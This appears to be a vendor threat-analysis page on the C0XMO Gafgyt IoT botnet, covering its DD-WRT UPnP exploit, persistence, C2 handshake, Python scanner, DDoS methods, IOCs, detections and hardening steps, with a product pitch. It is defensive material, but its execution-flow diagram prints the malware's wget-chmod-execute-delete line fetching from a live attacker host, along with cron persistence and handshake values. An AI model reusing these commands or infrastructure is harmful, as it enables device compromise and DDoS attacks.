# C0XMO Gafgyt IoT botnet variant · DD-WRT exploitation · Multi-architecture · DDoS · Discovered March 2026 · ## Overview C0XMO is a variant of the long-running Gafgyt (also called Bashlite) IoT botnet family, discovered by FortiGuard Labs in March 2026 and publicly documented in June 2026. [It targets DD-WRT router firmware and moves to other device types across many CPU architectures, with samples found for ARM, MIPS, PowerPC, SuperH, x86, x86_64, and others.](https://www.bleepingcomputer.com/news/security/c0xmo-botnet-spreads-via-dd-wrt-router-flaw-kills-rival-malware/) Like other Gafgyt strains, its purpose is to assemble a distributed denial-of-service botnet, and it supports 19 DDoS attack methods. What sets C0XMO apart is architectural: it separates its scanning and propagation logic into a standalone Python script, which makes it easier for the operator to update exploits, add or remove targeted architectures, and expand lateral movement independently of the main payload. Initial access relies on CVE-2021-27137, a stack buffer overflow in the UPnP service of vulnerable DD-WRT firmware. [The flaw is an unsafe strcpy in the SSDP M-SEARCH handling that lets an unauthenticated remote attacker overflow an internal fixed buffer via an oversized ST:uuid: value, reachable on UDP port 1900.](https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/) It affects DD-WRT changesets before 45724 and has been fixable since 2021. [The vulnerability was later added to CISA's Known Exploited Vulnerabilities catalog under BOD 26-04,](https://vulnerability.circl.lu/vuln/CVE-2021-27137) and CERT-In issued a corresponding advisory rating it High. C0XMO's continued success with a five-year-old bug reflects how rarely DD-WRT and similar edge devices are patched in practice. In the observed campaign the operator targeted a Japanese technology firm, though the source address traced to a device in Germany. The compromised host downloaded the malware to `/tmp/.cache`. After execution, C0XMO sets up persistence, terminates competing malware, connects to its command-and-control server through a custom three-step handshake, and then waits for scan or attack commands. For wider distribution it pulls a Python scanner from the same infrastructure that hosts the binaries and installs the `requests`, `paramiko`, and `beautifulsoup4` packages to drive network scanning, HTTP exploitation, and SSH and Telnet activity. **Why this matters for defenders:** C0XMO is not primarily an endpoint threat in the traditional workstation sense. It lives on routers, DVRs, video management platforms, and Android-based devices, the unmanaged edge of the network that rarely appears in an endpoint inventory or receives regular patching. A compromised device becomes both a DDoS source and an internal scanning node that brute-forces Telnet and SSH and runs HTTP exploits against neighbors. The competitor-killing behavior also means the presence of C0XMO can erase evidence of, and persistence for, other malware that was previously on the device. **Verify before relying on this:** the botnet is modular, so its exploit set and targeted architectures change between builds. Network indicators (C2 IPs, distribution servers) rotate. The core behaviors (DD-WRT exploitation, Python scanner propagation, cron and shell-profile persistence, competitor killing, custom handshake, 19 DDoS methods) are the durable elements. ### Threat profile | Type | Discovered | Family | Primary goal | |---|---|---|---| | IoT botnet (Gafgyt variant) | Mar 2026 | Gafgyt / Bashlite | DDoS (19 methods) | | Details | Value | |---|---| | Initial access | CVE-2021-27137 (DD-WRT UPnP) | | Architectures | ARM · MC68000 · MIPS · PowerPC · SuperH · x86 · x86_64 | | Target devices | Routers · DVRs · video platforms · Android (ADB) | | Propagation | Python scanner · Telnet/SSH brute force · HTTP exploits | | Persistence | Hidden files · cron (15 min) · shell profiles | | C2 | Custom 3-step handshake over TCP | | Notable trait | Kills competing botnets | ## Operational attack chain ### DD-WRT UPnP exploit CVE-2021-27137: crafted M-SEARCH to UDP 1900 overflows the SSDP buffer, unauthenticated RCE. `T1190` ### Payload download Architecture-specific ELF binary fetched to `/tmp/.cache` and executed. `T1105` ### Persistence setup Copies to `/tmp/.sys`, `/var/tmp/.sys`, `/dev/shm/.sys`; cron every 15 min; shell profile edits. `T1053.003` · `T1546.004` ### Competitor killing Scans `/proc` against a blacklist; kills rival botnets and deletes their binaries and persistence. `T1562.001` ### C2 handshake Magic string + shared secret → `HANDSHAKE_OK` → `BOT/OK` → final magic. Standby for commands. `T1071` ### Python scanner propagation Pulls `scanner.py`; Telnet/SSH brute force + HTTP exploits + ADB; deploys arch-matched payload. `T1046` · `T1110` ### DDoS on command 19 attack methods: UDP/TCP/SYN/ICMP floods, NTP/Memcached amplification, HTTP and game/voice floods. `T1498` · `T1499` The chain is self-sustaining. Every successfully compromised device runs the same scanner and becomes a new propagation node, and the cron job relaunches the bot every 15 minutes even if the process is killed. Because the entry vector is a known CVE on unmanaged devices, the most effective break points are patching and network exposure rather than payload detection alone. Source: FortiGuard Labs analysis (June 2026); SSD Secure Disclosure CVE-2021-27137 advisory; MITRE ATT&CK ## Tactics, techniques, and procedures C0XMO concentrates in Initial Access, Persistence, Discovery, and Impact, with a modular Python scanner driving lateral movement. The mapping below reflects FortiGuard Labs analysis of the `bot.x86_64` sample and the standalone scanner. Because the malware is modular, the exploit set and targeted architectures vary between builds; the mapped behaviors are the durable common core. ### MITRE ATT&CK coverage | Tactic | Coverage | |---|---| | Recon | Active · 1 | | Resource Dev | Active · 1 | | Initial Access | Heavy · 2 | | Execution | Active · 2 | | Persistence | Heavy · 3 | | Priv. Esc | Not observed · 0 | | Defense Evasion | Active · 2 | | Credential Access | Active · 1 | | Discovery | Heavy · 2 | | Lateral | Heavy · 2 | | Collection | Not observed · 0 | | C2 | Active · 2 | | Exfiltration | Not observed · 0 | | Impact | Heavy · 2 | ### Technique detail | Tactic | Techniques | What C0XMO does | Defender telemetry | |---|---|---|---| | Reconnaissance | [Scanning IP Blocks T1595.001](https://attack.mitre.org/techniques/T1595/001/) | The Python scanner generates random public IPs and scans common IoT and management ports: 22 (SSH), 23 (Telnet), 80/443 (HTTP/HTTPS), 7547 (TR-069), 8080, 8443, 8888, 5555 (ADB), and others. It loads `blacklist.txt` and `failed.txt` to avoid honeypots, research ranges, known bot nodes, and previously failed targets. | High-volume outbound SYN scans from an edge device to ports 22/23/80/443/7547/8080/8443/8888/5555; connections to random external IP ranges from a router or DVR. | | Resource Development | [Upload Malware T1608.001](https://attack.mitre.org/techniques/T1608/001/) | The operator stages architecture-specific ELF payloads and the Python scanner on distribution infrastructure (`<ip_address_1>:15527` in the observed campaign) and runs a separate C2 server (`<ip_address_2>`). The same host serves both the main binary and the scanner script. | Outbound HTTP downloads from a single IP:port serving multiple architecture-named binaries (`bot.arm`, `bot.mips`, `bot.x86_64`) and a `scanner.py`; threat-intel matches on distribution IPs. | | Initial Access | [Exploit Public-Facing Application T1190](https://attack.mitre.org/techniques/T1190/) · [External Remote Services T1133](https://attack.mitre.org/techniques/T1133/) | Primary access is CVE-2021-27137, a stack buffer overflow in the DD-WRT UPnP/SSDP service triggered by an oversized `ST:uuid:` value in a crafted M-SEARCH request to UDP port 1900, giving unauthenticated remote code execution. The scanner adds many other HTTP exploits for secondary access, including D-Link HNAP (CVE-2015-2051), GLPI htmLawed RCE (CVE-2022-35914), AVTECH DVR flaws (CVE-2025-34054, CVE-2016-15047), NVMS-9000, and Zyxel SysTools RCE, plus Telnet/SSH weak-credential access. | Inbound UDP to port 1900 with oversized SSDP M-SEARCH ST headers; IPS signatures for CVE-2021-27137; anomalous HTTP POSTs to DVR, router, and GLPI management endpoints; new inbound Telnet/SSH auth on edge devices. | | Execution | [Unix Shell T1059.004](https://attack.mitre.org/techniques/T1059/004/) · [Python T1059.006](https://attack.mitre.org/techniques/T1059/006/) | Exploitation drops shell commands that download and run the ELF payload (`wget` to `/tmp`, `chmod 777`, execute, delete). The propagation component is a Python 3 script executed with `python3 /tmp/scanner.py` and arguments controlling random scanning, target ports, runtime, and C2 server. `pip3` installs `requests`, `paramiko`, and `beautifulsoup4`. | Shell one-liners chaining `wget`/`chmod`/execute in `/tmp` on an embedded device; `python3` running `scanner.py`; `pip3 install` of `requests`, `paramiko`, `beautifulsoup4` with `--break-system-packages`. | | Persistence | [Cron T1053.003](https://attack.mitre.org/techniques/T1053/003/) · [Unix Shell Config Modification T1546.004](https://attack.mitre.org/techniques/T1546/004/) · [RC Scripts T1037.004](https://attack.mitre.org/techniques/T1037/004/) | C0XMO checks `/proc/self/exe`, then copies itself to hidden paths (`/tmp/.sys`, `/var/tmp/.sys`, `/dev/shm/.sys`, and `$HOME/.sys`) with permissions 755. It installs a cron job to run itself every 15 minutes and appends launch commands to `~/.profile`, `~/.bashrc`, and `~/.bash_profile` referencing the hidden files. It also re-executes itself if its process is terminated. | New crontab entries with a `*/15` schedule pointing to a hidden dotfile; appended lines in `~/.bashrc`/`.profile` referencing `/tmp/.sys`; files named `.sys` under `/tmp`, `/var/tmp`, `/dev/shm`; a process that respawns immediately after being killed. | | Defense Evasion | [File Deletion T1070.004](https://attack.mitre.org/techniques/T1070/004/) · [Match Legitimate Name/Location T1036.005](https://attack.mitre.org/techniques/T1036/005/) | Payloads are staged as hidden dotfiles (`.cache`, `.sys`) in transient directories, and the deployment one-liner deletes the downloaded binary after execution (`rm -f .cache`). The malware runs from memory-backed and temp locations that are wiped on reboot, complicating forensic recovery on devices without persistent logging. | Creation then deletion of dotfiles in `/tmp`; execution from `/dev/shm`; short-lived files with names beginning with a dot in world-writable directories on edge devices. | | Credential Access | [Password Guessing T1110.001](https://attack.mitre.org/techniques/T1110/001/) | The scanner performs weak-password brute-force attacks against Telnet and SSH services using a hardcoded credential list. On success it detects the target architecture and downloads the matching payload. This is the classic Gafgyt/Mirai default-credential propagation path, retained alongside the newer HTTP exploits. | Repeated failed then successful Telnet/SSH logins from an internal edge device against other devices; authentication bursts using common default credential pairs; new SSH sessions from a router or DVR. | | Discovery | [Network Service Discovery T1046](https://attack.mitre.org/techniques/T1046/) · [Process Discovery T1057](https://attack.mitre.org/techniques/T1057/) | The scanner uses worker threads to check whether target ports are open and detect the service type before choosing a Telnet, SSH, HTTP, or ADB exploitation path. Locally, C0XMO enumerates all processes under `/proc`, comparing names against a blacklist of botnet malware, network service applications, programming tools, and red-team utilities to identify rivals to terminate. | Threaded port probing across many hosts; reads across `/proc/[pid]/` entries by a non-management process; service-detection traffic followed by targeted exploit attempts. | | Lateral Movement | [Exploitation of Remote Services T1210](https://attack.mitre.org/techniques/T1210/) · [SSH T1021.004](https://attack.mitre.org/techniques/T1021/004/) | After finding an exploitable target, the scanner deploys the architecture-matched C0XMO payload via a shell one-liner (`cd /tmp; wget` the arch binary to `.cache`; `chmod 777`; execute; delete). It reaches Telnet, SSH, HTTP-exploitable, and ADB-exposed devices, using `detect_arch` to select the correct binary so a single scanner covers heterogeneous device fleets. | Edge devices initiating outbound SSH/Telnet and HTTP exploit traffic to peers; `wget` of architecture-named binaries to `/tmp/.cache` on newly infected hosts; ADB connections to port 5555. | | Command and Control | [Application Layer Protocol T1071](https://attack.mitre.org/techniques/T1071/) · [Non-Standard Port T1571](https://attack.mitre.org/techniques/T1571/) | C0XMO connects to its C2 (`<ip_address_2>`) and completes a custom three-step handshake: it sends a magic string (`669787761736865726500`) with a shared secret, receives `HANDSHAKE_OK`, sends `BOT` and receives `OK`, then sends a final magic sequence (`FF FF FF FF 75`) and receives a welcome message. It then enters standby and answers ping with `PONG` as a heartbeat, awaiting scan or attack commands. | Long-lived TCP sessions from an edge device to an unfamiliar external IP; a fixed magic-string handshake pattern; periodic small heartbeat exchanges (`ping`/`PONG`); C2 traffic on non-standard ports. | | Impact | [Network DoS T1498](https://attack.mitre.org/techniques/T1498/) · [Endpoint DoS T1499](https://attack.mitre.org/techniques/T1499/) | On command, C0XMO launches DDoS attacks using 19 methods: UDP, TCP, hybrid TCP+UDP, and SYN floods; Valve Source Engine, Discord voice UDP, and FiveM game floods; OVH bypass TCP/UDP floods; hex-pattern floods; NTP and Memcached amplification; ICMP floods; Ping of Death; and several HTTP flood variants including request storm, slow/IO exhaustion, spoofed, GET, and Cloudflare-bypass floods. It also runs a competitor-killing routine (T1562.001) that terminates rival malware and removes their persistence. | High-volume outbound flood traffic (UDP/TCP/SYN/ICMP) from edge devices; NTP/Memcached reflection sourced from the network; sudden bandwidth saturation; process termination of other known malware on the device. | ### Stage 1: How the attack starts C0XMO's entry point is CVE-2021-27137, a stack buffer overflow in the UPnP service of DD-WRT router firmware. The vulnerability is an unsafe `strcpy` in the SSDP M-SEARCH handling: when the SSDP parser mishandles an oversized `ST:uuid:` value in a crafted M-SEARCH request sent to UDP port 1900, an unauthenticated remote attacker can overflow an internal fixed buffer and execute arbitrary code. The flaw affects DD-WRT changesets before 45724 and was disclosed in 2021, with a fix available at changeset 45724. It has since been added to CISA's Known Exploited Vulnerabilities catalog and covered by a CERT-In advisory rated High. In the campaign FortiGuard Labs analyzed, the operator targeted a Japanese technology firm while the source address traced to a device in Germany, a common pattern where earlier-compromised devices are used to attack new ones. On success, the exploit drops shell commands that download an architecture-specific ELF payload to `/tmp/.cache`, set it executable, run it, and then delete the downloaded file. FortiGuard found samples compiled for ARM, MC68000, MIPS R3000, PowerPC, SuperH, Intel 80386, and AMD64, so the same operation can infect a wide range of embedded Linux devices. For defenders, the important framing is that no novel exploit is involved. This is a five-year-old, patchable CVE on a class of device that is rarely inventoried or patched. The most effective control is not payload detection but reducing exposure: patching DD-WRT to changeset 45724 or later, disabling UPnP where it is not required, and ensuring UDP 1900 is not reachable from untrusted networks. ### Stage 2: What runs on the device Once executed, C0XMO sets up persistence in four stages. It first checks its own path through `/proc/self/exe`, then generates hidden file paths and copies itself to `/tmp/.sys`, `/var/tmp/.sys`, `/dev/shm/.sys`, and, if a home directory exists, `$HOME/.sys`, setting permissions to 755. It installs a cron job that relaunches the malware every 15 minutes, so killing the process alone does not remove it. It appends launch commands to `~/.profile`, `~/.bashrc`, and `~/.bash_profile` that reference the hidden files, and it re-executes itself if terminated. The redundancy across cron, shell profiles, and multiple hidden copies is designed to survive partial cleanup on devices that lack proper endpoint management. C0XMO then performs competitor killing. It verifies its own PID and executable name to avoid deleting itself, then scans every process under `/proc` and compares names against an internal blacklist covering rival botnet malware, network service applications, programming tools, and red-team utilities. Matching processes are terminated. It then compares the executable paths of killed processes against a path blacklist and deletes matching binaries, and it goes further by removing rival persistence such as cron jobs, `rc.local` entries, `init.d` services, systemd services, and shell profile scripts. The effect is that C0XMO both claims the device's resources for itself and can destroy evidence of prior infections. ### Stage 3: Command and control, and DDoS After persistence, C0XMO connects to its C2 server and completes a custom three-step handshake. It first sends a magic string (`669787761736865726500`) together with a shared secret and waits for the server to reply `HANDSHAKE_OK`. It then sends `BOT` to identify itself as a botnet node and receives `OK`. Finally it sends the hexadecimal sequence `FF FF FF FF 75` as a final magic value and receives a welcome message confirming the handshake completed. The bot then enters standby and responds to a `ping` command with `PONG` as a heartbeat, confirming it is still alive and reachable. The command handler supports a small set of control verbs (`ping`, `stop`, `scan`, `stopscan`) plus attack commands. The DDoS capability is broad: 19 methods spanning volumetric floods (UDP, TCP, hybrid TCP+UDP, SYN, ICMP), amplification (NTP, Memcached), application and game-service floods (Valve Source Engine, Discord voice UDP, FiveM, OVH bypass TCP/UDP), a Ping of Death, and several HTTP flood variants including request storm, slow/IO exhaustion, spoofed, GET, and Cloudflare-bypass. This range lets a single botnet target gaming infrastructure, voice platforms, and web services with method selection tuned to the victim. For network defenders, the durable detection opportunities here are the fixed handshake pattern and the outbound flood behavior. The handshake uses constant magic values that do not change with infrastructure rotation, and the flood traffic (especially NTP and Memcached reflection or large UDP/SYN volumes sourced from edge devices) is visible at the network layer even when the payload itself is not. ### Stage 4: How it spreads: the Python scanner C0XMO's defining evolution over older Gafgyt strains is that lateral movement is a standalone Python script rather than logic baked into the ELF binary. The bot fetches `scanner.py` from the same infrastructure that distributes the payloads (`<ip_address_1>:15527` in the observed campaign) and installs `requests`, `paramiko`, and `beautifulsoup4` with `pip3`. It then runs the scanner with arguments enabling random IP scanning, a target port list (23, 22, 80, 443, 8080, 5555, 5511, 5554, 4443, 81, 8000, 7547, 8081, 8443, 8888), a runtime duration, and the C2 server address. Separating the scanner this way lets the operator update exploits and targets without rebuilding or redistributing the main binary. The scanner has roughly 22 functions across six groups: Worker, Blacklist, Telnet, SSH, HTTP Exploit, and ADB Exploit. It first loads `blacklist.txt` and `failed.txt` to avoid honeypots, research institutions, known bot nodes, and previously failed targets. Worker threads then retrieve a target, check the blacklist, probe whether ports are open, detect the service type, and attempt Telnet, SSH, HTTP, and ADB exploitation. On a successful Telnet or SSH weak-credential login, the scanner runs `detect_arch` to identify the target's CPU architecture and downloads the matching payload with a shell one-liner (`cd /tmp; wget` the arch binary to `.cache`; `chmod 777`; execute; remove). The HTTP exploit set is extensive and targets known device vulnerabilities beyond DD-WRT: D-Link HNAP SOAP injection (CVE-2015-2051), GLPI htmLawed RCE (CVE-2022-35914) and GLPI barcode injection, AVTECH DVR flaws (CVE-2025-34054, CVE-2016-15047), NVMS-9000, broadband router flaws, and Zyxel SysTools RCE. A dedicated ADB module targets Android devices with exposed debug interfaces on port 5555, a category of hardware most enterprise security teams do not monitor. This breadth is why a single compromised router can seed infection across a heterogeneous fleet of routers, DVRs, video platforms, and Android devices. ### Execution flow #### What C0XMO looks like on an infected device ```text DD-WRT upnpd (SSDP) // CVE-2021-27137: crafted M-SEARCH to UDP 1900 · T1190 └─ sh -c wget http://217.160.125.125:15527/bot. -O /tmp/.cache; chmod 777; ./.cache; rm -f .cache T1105 └─ /tmp/.cache (C0XMO ELF) // architecture-specific bot binary ├─ copies to /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys persistence ├─ crontab */15 * * * * /tmp/.sys T1053.003 ├─ appends to ~/.bashrc, ~/.profile, ~/.bash_profile T1546.004 ├─ scans /proc → kills rival botnets, deletes their persistence T1562.001 ├─ TCP → 85.215.131.70 magic + secret → HANDSHAKE_OK → BOT/OK → FF FF FF FF 75 T1071 └─ python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,... // pip3: requests, paramiko, beautifulsoup4 T1046 · T1110 ├─ Telnet/SSH brute force → detect_arch → deploy matching payload T1210 ├─ HTTP exploits (CVE-2015-2051, CVE-2022-35914, AVTECH, NVMS-9000, Zyxel) └─ ADB exploit (port 5555, Android) ``` ## Where Malware Protection Plus fits C0XMO lives on embedded Linux edge devices (routers, DVRs, Android) that a Windows endpoint agent does not run on directly. Its relevance to a managed environment is twofold: infected edge devices attack and scan the managed estate, and the same worming behavior can reach any exposed Linux host. [Malware Protection Plus](https://www.manageengine.com/malware-protection/) focuses on the managed Windows and Linux endpoints that sit inside the blast radius of a C0XMO infection. On a managed Linux host, the observable behaviors are concrete: a shell chaining `wget`, `chmod 777`, and execution of a dotfile in `/tmp`; dotfiles named `.sys` under `/tmp`, `/var/tmp`, and `/dev/shm`; new cron entries with a `*/15` schedule pointing to a hidden file; appended launch lines in shell profiles; and a `python3` process brute-forcing SSH and Telnet against other hosts. Malware Protection Plus can help detect these behaviors, isolate an affected host to stop it scanning and flooding, and preserve the persistence artifacts for investigation. For the unmanaged edge devices themselves, the primary controls are network and configuration level: patching DD-WRT, disabling UPnP and unnecessary Telnet/SSH, and restricting UDP 1900 and management ports. Endpoint telemetry complements this by catching the lateral movement and DDoS behavior once it reaches a host that is managed, and by giving responders a view of which internal systems an infected device is targeting. ## Indicators of compromise Durable behavioral and artifact indicators outlast the volatile network indicators, which rotate as the operator changes infrastructure and rebuilds payloads. The C2 and distribution IPs and the file hashes below are specific to the campaign FortiGuard documented and should be treated as time-limited. ### Durable — host artifacts and behavior Filesystem, persistence, and behavioral patterns that recur across C0XMO builds. - `Dotfiles named .sys in /tmp, /var/tmp, /dev/shm, and $HOME` - C0XMO self-copy locations (permissions 755) - `Cron entry: */15 * * * * pointing to a hidden dotfile` - Relaunches the bot every 15 minutes - `Appended launch lines in ~/.bashrc, ~/.profile, ~/.bash_profile referencing /tmp/.sys` - Shell-profile persistence - `wget/chmod 777/execute/rm chain writing to /tmp/.cache` - Payload deployment one-liner; downloaded binary deleted after run - `python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,8080,5555,...` - Standalone scanner execution; `pip3` installs `requests`, `paramiko`, `beautifulsoup4` - `C2 handshake: magic 669787761736865726500 → HANDSHAKE_OK → BOT/OK → FF FF FF FF 75` - Fixed handshake magic values; `PONG` heartbeat response to `ping` ### Durable — exploited CVEs Vulnerabilities C0XMO uses for initial access and lateral movement. Patch state is the strongest control. - `CVE-2021-27137 — DD-WRT UPnP/SSDP buffer overflow (UDP 1900)` - Primary initial access; fixed in DD-WRT changeset 45724; on CISA KEV - `CVE-2015-2051 (D-Link HNAP) · CVE-2022-35914 (GLPI htmLawed)` - Scanner HTTP exploits for secondary access - `CVE-2025-34054 · CVE-2016-15047 (AVTECH DVR) · NVMS-9000 · Zyxel SysTools RCE` - Additional device exploits in the scanner set - `Android Debug Bridge (ADB) unauthorized access, port 5555` - Reaches exposed Android devices ### Volatile — network infrastructure C2 and distribution hosts from the documented campaign. Expect rotation. - `217.160.125[.]125:15527` - Binary and `scanner.py` distribution host - `85.215.131[.]70` - C2 server - `176.100.37[.]91` - Related host from documented IOCs ### Volatile — file hashes (SHA-256) Multi-architecture ELF samples from the documented campaign. Use as confirmatory signals. - `444a9d34a9f59dc7975dfabefb47d789813a4497bbac9127c4806dd816e85211` - C0XMO ELF sample - `9394666007fac4014a4641fdae150c1b969ed2bc4299876318a336fd386abf59` - C0XMO ELF sample - `450ea44da0c9d96a2e8f4d6bad34f1c35cd35743295b8cd2defa9f7a9884685d` - C0XMO ELF sample - `d452f22dacab9785539484245c13e9cce58df23fc82eeef205684fcd196da20b` - C0XMO ELF sample - `20042f1efb59c99e3addf822a3e9e5a496f0b701362df038a50a32a9f504a136` - C0XMO ELF sample - `7413cbb6eab4d6b10346f71be5dd76d7cf2f4817f7776367b162f83755aefa1f` - C0XMO ELF sample (full set of 15 hashes in FortiGuard IOCs) ## Detection guidance Because C0XMO runs on embedded devices and rebuilds per architecture, hash and signature detection is fragile. The reliable detections are behavioral and network based: the exploit traffic on the way in, the persistence and scanner behavior on the device, and the handshake and flood traffic on the way out. Detections are ordered roughly by kill-chain position. ### 1. Malformed SSDP M-SEARCH to UDP 1900 **Network / IPS telemetry** **What to monitor:** inbound UDP traffic to port 1900 containing oversized `ST:uuid:` values in SSDP M-SEARCH requests, matching CVE-2021-27137 exploitation. Deploy or enable an IPS signature for this CVE at network boundaries in front of DD-WRT and other UPnP-capable devices. **Why it works:** the exploit has a distinct malformed-packet signature and targets a specific service. Catching it at the network edge stops initial access before the payload runs, and works even though the device itself has no endpoint agent. ### 2. Shell download-execute-delete chains in `/tmp` on edge devices **Process / EDR (Linux) telemetry** **What to monitor:** shell commands chaining `wget` or `curl` of an externally hosted binary into `/tmp/.cache`, followed by `chmod 777`, execution, and `rm`. On managed Linux hosts, alert on any process writing an executable dotfile to `/tmp`, `/var/tmp`, or `/dev/shm` and running it. **Why it works:** this deployment one-liner is common to C0XMO across architectures. The download-to-hidden-path-then-delete pattern is rare in legitimate operations and is a high-confidence infection signal on any Linux host that is managed. ### 3. Cron and shell-profile persistence to hidden dotfiles **File integrity / EDR telemetry** **What to monitor:** new crontab entries with a `*/15` schedule that point to a hidden dotfile in a temp directory, and appended launch lines in `~/.bashrc`, `~/.profile`, or `~/.bash_profile` referencing paths like `/tmp/.sys`. Alert on creation of `.sys` files under `/tmp`, `/var/tmp`, and `/dev/shm`. **Why it works:** the 15-minute cron cadence to a hidden file and the specific shell-profile edits are consistent across builds. These are durable host artifacts that survive the deletion of the initial download. ### 4. Python scanner behavior: `pip3` of `requests`/`paramiko`/`beautifulsoup4` then threaded scanning **Process / network telemetry** **What to monitor:** `pip3` installing `requests`, `paramiko`, and `beautifulsoup4` (often with `--break-system-packages`) on a device that has no development role, followed by a `python3` process opening many outbound connections to ports 22, 23, 80, 443, 7547, 8080, 8443, 8888, and 5555 across random external IPs. **Why it works:** this package trio plus threaded multi-port scanning from an edge device or server is specific to the C0XMO scanner. Legitimate systems rarely install `paramiko` and `beautifulsoup4` together and then immediately brute-force SSH and Telnet against random hosts. ### 5. Outbound Telnet/SSH brute force and ADB from internal devices **Network telemetry** **What to monitor:** internal routers, DVRs, or servers initiating repeated Telnet (23) and SSH (22) authentication attempts against many peers, and connections to ADB port 5555. Correlate failed-then-successful auth patterns with subsequent `wget` of architecture-named binaries. **Why it works:** a device that normally receives connections suddenly initiating credential brute force and ADB access to peers is a strong lateral-movement indicator. It catches propagation regardless of which CVE or credential set the scanner used. ### 6. C0XMO C2 handshake pattern **Network telemetry** **What to monitor:** outbound TCP sessions from an edge device that begin with the fixed magic string `669787761736865726500`, elicit `HANDSHAKE_OK`, then exchange `BOT/OK` and a final `FF FF FF FF 75` sequence, followed by periodic `ping/PONG` heartbeats. **Why it works:** these magic values are constant and do not change when the operator rotates C2 IPs. A network signature on the handshake byte pattern detects C0XMO check-ins even against previously unseen C2 infrastructure. ### 7. Outbound DDoS and amplification traffic from edge devices **NetFlow / network telemetry** **What to monitor:** sudden high-volume outbound UDP, TCP, SYN, or ICMP traffic from routers, DVRs, or IoT devices, and NTP or Memcached reflection patterns sourced from your network. Watch for sustained bandwidth saturation toward a single external target. **Why it works:** DDoS is C0XMO's purpose, and the flood traffic is visible at the network layer even when the device payload is invisible. Amplification traffic (NTP, Memcached) originating from your address space is both a detection signal and a reputational risk to address quickly. ### 8. Competitor-killing process and file activity **Process / EDR (Linux) telemetry** **What to monitor:** a process enumerating `/proc` and terminating multiple other processes by name, followed by deletion of binaries and removal of cron jobs, `rc.local` entries, `init.d`/systemd services, and shell-profile lines belonging to other malware. **Why it works:** mass process termination combined with persistence removal across multiple mechanisms is unusual and specific to competitor-killing IoT botnets. On managed Linux hosts this behavior stands out clearly against normal activity. Detection 01 stops initial access at the network edge. Detections 02 through 04 and 08 fire on the device during setup and propagation. Detections 05, 06, and 07 are network-layer signals that work even for unmanaged devices. Because the entry vector is a known CVE, the highest-value action is still patching and reducing exposure; detection covers the devices that cannot be patched or were compromised before the fix. ## Hardening and response recommendations C0XMO depends on unpatched DD-WRT firmware, exposed UPnP and management services, weak Telnet/SSH credentials, and unmonitored edge devices. The controls below target those dependencies. **Quick win** = single configuration change, deployable in days. **Standard** = needs a rollout or inventory effort, deployable in weeks. ### 1. Patch DD-WRT and exploited devices **Critical** CVE-2021-27137 was fixed in DD-WRT changeset 45724. The vulnerability is on CISA's Known Exploited Vulnerabilities catalog and carries a CERT-In High advisory. Update DD-WRT firmware to changeset 45724 or later, and patch the other devices the scanner targets (D-Link, GLPI, AVTECH DVRs, NVMS-9000, Zyxel) to close secondary propagation paths. **Do:** inventory all DD-WRT and Buffalo devices running DD-WRT, prioritize internet-facing units, and apply the vendor firmware fix. Where a device is end-of-life and cannot be patched, isolate or replace it. ### 2. Disable UPnP and restrict UDP 1900 **Quick win** The exploit requires UPnP to be enabled and reachable. UPnP is off by default on DD-WRT and only listens on internal interfaces by default, so exposure usually comes from a configuration change. Disable UPnP where it is not required and ensure UDP port 1900 is not reachable from untrusted networks. **Do:** turn off UPnP on routers that do not need it, block inbound UDP 1900 at the perimeter, and confirm SSDP is not exposed on WAN interfaces. This removes the initial-access surface for CVE-2021-27137 outright. ### 3. Disable Telnet, restrict SSH, and enforce strong credentials **Standard** The scanner brute-forces Telnet and SSH with hardcoded weak credentials. Disabling Telnet entirely, restricting SSH to management networks, and replacing default and weak passwords with strong unique credentials removes the classic Gafgyt propagation path. **Do:** disable Telnet on all IoT and network devices, limit SSH exposure with ACLs, enforce unique non-default admin credentials, and use key-based SSH auth where the device supports it. ### 4. Close exposed ADB and management interfaces **Quick win** The scanner reaches Android devices through exposed Android Debug Bridge on port 5555, a surface most teams do not monitor. It also targets TR-069 (7547) and various web management ports. Restricting these ports at the network edge removes several propagation routes. **Do:** block inbound access to ADB (5555), TR-069 (7547), and device web management ports (8080, 8443, 8888) from untrusted networks. Disable ADB over network on Android-based devices that do not require it. ### 5. Segment and monitor IoT and edge devices **Standard** Compromised edge devices become internal scanning and DDoS nodes. Placing IoT and network devices on segmented VLANs with controlled egress limits how far a single infection can spread and makes the scanner's outbound brute-force and flood traffic easier to spot. **Do:** segment IoT and management devices away from user and server networks, apply least-privilege egress rules, and monitor for outbound scanning, brute force, and flood traffic sourced from these segments. Alert on edge devices initiating connections they should only receive. ### 6. Respond: isolate, clean persistence, rebuild if needed **Quick win** On a suspected C0XMO infection, isolate the device from the network to stop its scanning and DDoS activity. Because persistence is redundant (cron, shell profiles, multiple hidden copies, self-respawn), removing a single artifact is not enough. Remove the cron entry, clean the shell-profile edits, and delete all `.sys` copies, then verify the process does not respawn. **Do:** for embedded devices without proper management, a factory reset followed by firmware update and credential change is often the most reliable remediation. On managed Linux hosts, remove all persistence mechanisms, rotate credentials that were exposed, and hunt for the scanner and handshake indicators across the rest of the fleet. Controls 1 and 2 close the initial-access vector directly. Controls 3 and 4 remove the scanner's main propagation paths. Control 5 limits blast radius and improves visibility. Control 6 covers remediation, which must address all of C0XMO's redundant persistence rather than a single artifact. ## Primary references Source material this page is built on. Technical claims trace to the original FortiGuard Labs research, with the CVE detail confirmed against the disclosure advisory and government sources. MITRE ATT&CK provided the technique framework. Reviewed through August 2026. - [BleepingComputer: C0XMO botnet spreads via DD-WRT router flaw, kills rival malware](https://www.bleepingcomputer.com/news/security/c0xmo-botnet-spreads-via-dd-wrt-router-flaw-kills-rival-malware/) — Jun 2026 - [SecurityAffairs: IoT botnet C0XMO adds competitor-killing capability](https://securityaffairs.com/193290/malware/iot-botnet-c0xmo-adds-competitor-killing-capability.html) — Jun 2026 - [SSD Secure Disclosure: DD-WRT UPnP buffer overflow (CVE-2021-27137) advisory](https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/) — 2022 - [CIRCL Vulnerability-Lookup: CVE-2021-27137 (CISA KEV / BOD 26-04 references)](https://vulnerability.circl.lu/vuln/CVE-2021-27137) — Reference - [NVD: CVE-2021-27137 record](https://nvd.nist.gov/vuln/detail/CVE-2021-27137) — Reference - [MITRE ATT&CK: Enterprise framework reference](https://attack.mitre.org/) — Current